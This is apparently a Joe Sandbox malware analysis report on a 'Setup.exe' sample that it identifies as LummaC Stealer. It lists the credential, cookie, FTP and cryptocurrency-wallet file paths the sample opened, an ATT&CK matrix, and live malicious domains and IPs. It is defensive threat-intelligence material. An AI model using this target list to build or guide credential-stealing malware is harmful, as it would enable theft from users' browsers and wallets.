Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	121 Windows Management Instrumentation	1 Scripting	12 Process Injection	11 Masquerading	2 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	13 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	24 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Setup.exe	28%	Virustotal		Browse
Setup.exe	33%	ReversingLabs	Win32.Spyware.Lummastealer
SAMPLE	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\306846\Fox.com	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://vqaliantheart.live/oniz	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
vqaliantheart.live	104.21.5.162	true	false	high
h1.mockupeastcoast.shop	89.169.54.153	true	false	high
SUOnlaSwBqeQImGvxTLKMBOcpRJpX.SUOnlaSwBqeQImGvxTLKMBOcpRJpX	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://vqaliantheart.live/oniz	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.autoitscript.com/autoit3/X	Fox.com, 0000000D.00000000.1254705270.0000000000865000.00000002.00000001.01000000.00000008.sdmp, Compiled.9.dr, Fox.com.1.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	Setup.exe	false	high
https://www.autoitscript.com/autoit3/	Accused.9.dr, Fox.com.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.169.54.153	h1.mockupeastcoast.shop	Russian Federation		31514	INF-NET-ASRU	false
104.21.5.162	vqaliantheart.live	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1663643
Start date and time:	2025-04-12 02:25:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@26/23@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 36 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.79.17.61, 52.149.20.212, 204.79.197.222, 172.202.163.200
Excluded domains from analysis (whitelisted): fp.msedge.net, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:26:57	API Interceptor	9x Sleep call for process: Fox.com modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
89.169.54.153	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
104.21.5.162	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse
104.21.5.162	https://www.baidu.com/link?url=tc0KGE4OMhZ74ZSwbF24_ym_XsWIKmDB3Tjmh-Ev29r74AJK4eg2MsYr9EQIOxQg3i-oWCQHGbXtbpV7kwDbTK&wd#bWljaGFlbC5zYXhAdGFmZXFsZC5lZHUuYXU	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
h1.mockupeastcoast.shop	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
vqaliantheart.live	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INF-NET-ASRU	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	83.217.197.148
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	utorrent_installer.exe	Get hash	malicious	Unknown	Browse	83.217.202.106
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	83.217.222.149
	MDE_File_Sample_0bd717cd72246ba4b246245e85161a8162d62c19.zip	Get hash	malicious	Unknown	Browse	83.217.208.151
	jPKFh06jHI.exe	Get hash	malicious	Vidar	Browse	83.217.208.144
	http://www.delawarejellystone.com	Get hash	malicious	Unknown	Browse	89.169.52.197
	m4n1AQRhaP.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	83.217.209.253
	Software Installer.exe	Get hash	malicious	Unknown	Browse	83.217.208.69
	http://89.169.13.138/3.exe	Get hash	malicious	Unknown	Browse	89.169.13.138
CLOUDFLARENETUS	Rd_client_w_a_s_d_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.53.21
	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.197.226
	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.197.226
	Rd_client_w_a_s_d_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.40.117
	svchost.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	67f525209658e.vbs	Get hash	malicious	LummaC Stealer	Browse	172.67.197.226
	IMSoftware{Launcher}3.21.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.7
	nnnaaasssaaa.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.49.165
	nper1lu.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.7
	nertuetetaaa.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.197.226

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Rd_client_w_a_s_d_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	Rd_client_w_a_s_d_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	67f525209658e.vbs	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	IMSoftware{Launcher}3.21.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	nnnaaasssaaa.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
